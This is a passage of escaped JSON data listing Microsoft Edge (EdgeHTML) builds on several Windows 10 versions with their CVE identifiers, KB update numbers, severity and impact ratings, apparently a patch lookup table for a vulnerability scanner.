Execution\"},{\"cve\":\"CVE-2017-11764\",\"kb\":\"4038782\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11811\",\"kb\":\"4041691\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11861\",\"kb\":\"4048953\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11873\",\"kb\":\"4048953\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11893\",\"kb\":\"4053579\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11909\",\"kb\":\"4053579\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11911\",\"kb\":\"4053579\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11914\",\"kb\":\"4053579\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11918\",\"kb\":\"4053579\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8496\",\"kb\":\"4022715\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8548\",\"kb\":\"4022715\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8601\",\"kb\":\"4025339\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8635\",\"kb\":\"4034658\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8636\",\"kb\":\"4034658\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8731\",\"kb\":\"4038782\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8734\",\"kb\":\"4038782\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8755\",\"kb\":\"4038782\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0758\",\"kb\":\"4056890\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0769\",\"kb\":\"4056890\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0770\",\"kb\":\"4056890\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0776\",\"kb\":\"4056890\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0777\",\"kb\":\"4056890\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0780\",\"kb\":\"4056890\",\"severity\":\"Critical\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0834\",\"kb\":\"4074590\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0835\",\"kb\":\"4074590\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0837\",\"kb\":\"4074590\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0838\",\"kb\":\"4074590\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0840\",\"kb\":\"4074590\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0859\",\"kb\":\"4074590\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0860\",\"kb\":\"4074590\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0891\",\"kb\":\"4088787\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0933\",\"kb\":\"4088787\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0934\",\"kb\":\"4088787\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0953\",\"kb\":\"4103723\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0980\",\"kb\":\"4093119\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8133\",\"kb\":\"4103723\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8145\",\"kb\":\"4103723\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-8288\",\"kb\":\"4338814\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8291\",\"kb\":\"4338814\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8355\",\"kb\":\"4343887\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8617\",\"kb\":\"4471321\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0539\",\"kb\":\"4480961\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0566\",\"kb\":\"4480961\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0567\",\"kb\":\"4480961\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1607 for x64-based Systems\":[{\"cve\":\"CVE-2016-3351\",\"kb\":\"3189866\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2016-7200\",\"kb\":\"3200970\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-7201\",\"kb\":\"3200970\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-7241\",\"kb\":\"3200970\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0037\",\"kb\":\"4013429\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11764\",\"kb\":\"4038782\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11811\",\"kb\":\"4041691\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11861\",\"kb\":\"4048953\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11873\",\"kb\":\"4048953\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11893\",\"kb\":\"4053579\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11909\",\"kb\":\"4053579\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11911\",\"kb\":\"4053579\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11914\",\"kb\":\"4053579\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11918\",\"kb\":\"4053579\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8496\",\"kb\":\"4022715\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8548\",\"kb\":\"4022715\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8601\",\"kb\":\"4025339\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8635\",\"kb\":\"4034658\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8636\",\"kb\":\"4034658\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8731\",\"kb\":\"4038782\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8734\",\"kb\":\"4038782\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8755\",\"kb\":\"4038782\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0758\",\"kb\":\"4056890\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0769\",\"kb\":\"4056890\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0770\",\"kb\":\"4056890\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0776\",\"kb\":\"4056890\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0777\",\"kb\":\"4056890\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0780\",\"kb\":\"4056890\",\"severity\":\"Critical\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0834\",\"kb\":\"4074590\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0835\",\"kb\":\"4074590\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0837\",\"kb\":\"4074590\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0838\",\"kb\":\"4074590\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0840\",\"kb\":\"4074590\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0859\",\"kb\":\"4074590\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0860\",\"kb\":\"4074590\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0891\",\"kb\":\"4088787\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0933\",\"kb\":\"4088787\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0934\",\"kb\":\"4088787\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0953\",\"kb\":\"4103723\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0980\",\"kb\":\"4093119\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8133\",\"kb\":\"4103723\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8145\",\"kb\":\"4103723\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-8288\",\"kb\":\"4338814\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8291\",\"kb\":\"4338814\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8355\",\"kb\":\"4343887\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8617\",\"kb\":\"4471321\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0539\",\"kb\":\"4480961\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0566\",\"kb\":\"4480961\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0567\",\"kb\":\"4480961\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1703 for 32-bit Systems\":[{\"cve\":\"CVE-2017-11764\",\"kb\":\"4038788\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11811\",\"kb\":\"4041676\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11861\",\"kb\":\"4048954\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11873\",\"kb\":\"4048954\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11893\",\"kb\":\"4053580\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11909\",\"kb\":\"4053580\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11911\",\"kb\":\"4053580\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11914\",\"kb\":\"4053580\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11918\",\"kb\":\"4053580\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8548\",\"kb\":\"4022725\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8601\",\"kb\":\"4025342\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8634\",\"kb\":\"4034674\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8635\",\"kb\":\"4034674\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8636\",\"kb\":\"4034674\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8729\",\"kb\":\"4038788\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8734\",\"kb\":\"4038788\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8740\",\"kb\":\"4038788\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8751\",\"kb\":\"4038788\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8755\",\"kb\":\"4038788\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0758\",\"kb\":\"4056891\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0769\",\"kb\":\"4056891\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0770\",\"kb\":\"4056891\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0776\",\"kb\":\"4056891\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0777\",\"kb\":\"4056891\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0780\",\"kb\":\"4056891\",\"severity\":\"Critical\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0834\",\"kb\":\"4074592\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0835\",\"kb\":\"4074592\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0837\",\"kb\":\"4074592\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0838\",\"kb\":\"4074592\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0840\",\"kb\":\"4074592\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0859\",\"kb\":\"4074592\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0860\",\"kb\":\"4074592\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0891\",\"kb\":\"4088782\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0933\",\"kb\":\"4088782\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0934\",\"kb\":\"4088782\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0953\",\"kb\":\"4103731\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0980\",\"kb\":\"4093107\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8133\",\"kb\":\"4103731\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8145\",\"kb\":\"4103731\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-8279\",\"kb\":\"4338826\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8288\",\"kb\":\"4338826\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8291\",\"kb\":\"4338826\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8355\",\"kb\":\"4343885\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8617\",\"kb\":\"4471327\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0539\",\"kb\":\"4480973\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0566\",\"kb\":\"4480973\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0567\",\"kb\":\"4480973\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1703 for x64-based Systems\":[{\"cve\":\"CVE-2017-11764\",\"kb\":\"4038788\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11811\",\"kb\":\"4041676\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11861\",\"kb\":\"4048954\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11873\",\"kb\":\"4048954\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11893\",\"kb\":\"4053580\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11909\",\"kb\":\"4053580\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11911\",\"kb\":\"4053580\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11914\",\"kb\":\"4053580\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11918\",\"kb\":\"4053580\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8548\",\"kb\":\"4022725\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8601\",\"kb\":\"4025342\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8634\",\"kb\":\"4034674\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8635\",\"kb\":\"4034674\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8636\",\"kb\":\"4034674\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8729\",\"kb\":\"4038788\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8734\",\"kb\":\"4038788\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8740\",\"kb\":\"4038788\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8751\",\"kb\":\"4038788\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8755\",\"kb\":\"4038788\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0758\",\"kb\":\"4056891\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0769\",\"kb\":\"4056891\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0770\",\"kb\":\"4056891\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0776\",\"kb\":\"4056891\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0777\",\"kb\":\"4056891\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0780\",\"kb\":\"4056891\",\"severity\":\"Critical\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0834\",\"kb\":\"4074592\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0835\",\"kb\":\"4074592\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0837\",\"kb\":\"4074592\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0838\",\"kb\":\"4074592\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0840\",\"kb\":\"4074592\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0859\",\"kb\":\"4074592\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0860\",\"kb\":\"4074592\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0891\",\"kb\":\"4088782\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0933\",\"kb\":\"4088782\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0934\",\"kb\":\"4088782\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0953\",\"kb\":\"4103731\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0980\",\"kb\":\"4093107\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8133\",\"kb\":\"4103731\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8145\",\"kb\":\"4103731\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-8279\",\"kb\":\"4338826\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8288\",\"kb\":\"4338826\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8291\",\"kb\":\"4338826\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8355\",\"kb\":\"4343885\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8617\",\"kb\":\"4471327\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0539\",\"kb\":\"4480973\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0566\",\"kb\":\"4480973\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0567\",\"kb\":\"4480973\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1709 for 32-bit Systems\":[{\"cve\":\"CVE-2017-11861\",\"kb\":\"4048955\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11873\",\"kb\":\"4048955\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11893\",\"kb\":\"4054517\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11909\",\"kb\":\"4054517\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11911\",\"kb\":\"4054517\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11914\",\"kb\":\"4054517\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11918\",\"kb\":\"4054517\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0758\",\"kb\":\"4056892\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0769\",\"kb\":\"4056892\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0770\",\"kb\":\"4056892\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0774\",\"kb\":\"4056892\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0775\",\"kb\":\"4056892\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0776\",\"kb\":\"4056892\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0777\",\"kb\":\"4056892\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0780\",\"kb\":\"4056892\",\"severity\":\"Critical\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0834\",\"kb\":\"4074588\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0835\",\"kb\":\"4074588\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0837\",\"kb\":\"4074588\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0838\",\"kb\":\"4074588\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0840\",\"kb\":\"4074588\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0859\",\"kb\":\"4074588\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0860\",\"kb\":\"4074588\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0891\",\"kb\":\"4088776\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0933\",\"kb\":\"4088776\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0934\",\"kb\":\"4088776\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0953\",\"kb\":\"4103727\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0980\",\"kb\":\"4093112\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8133\",\"kb\":\"4103727\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8145\",\"kb\":\"4103727\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-8279\",\"kb\":\"4338825\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8288\",\"kb\":\"4338825\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8291\",\"kb\":\"4338825\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8355\",\"kb\":\"4343897\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8617\",\"kb\":\"4471329\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0539\",\"kb\":\"4480978\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0566\",\"kb\":\"4480978\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0567\",\"kb\":\"4480978\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1709 for ARM64-based Systems\":[{\"cve\":\"CVE-2018-8617\",\"kb\":\"4471329\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0539\",\"kb\":\"4480978\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0566\",\"kb\":\"4480978\",\"severity\":\"Important\",\"impact\":\"Elevation of 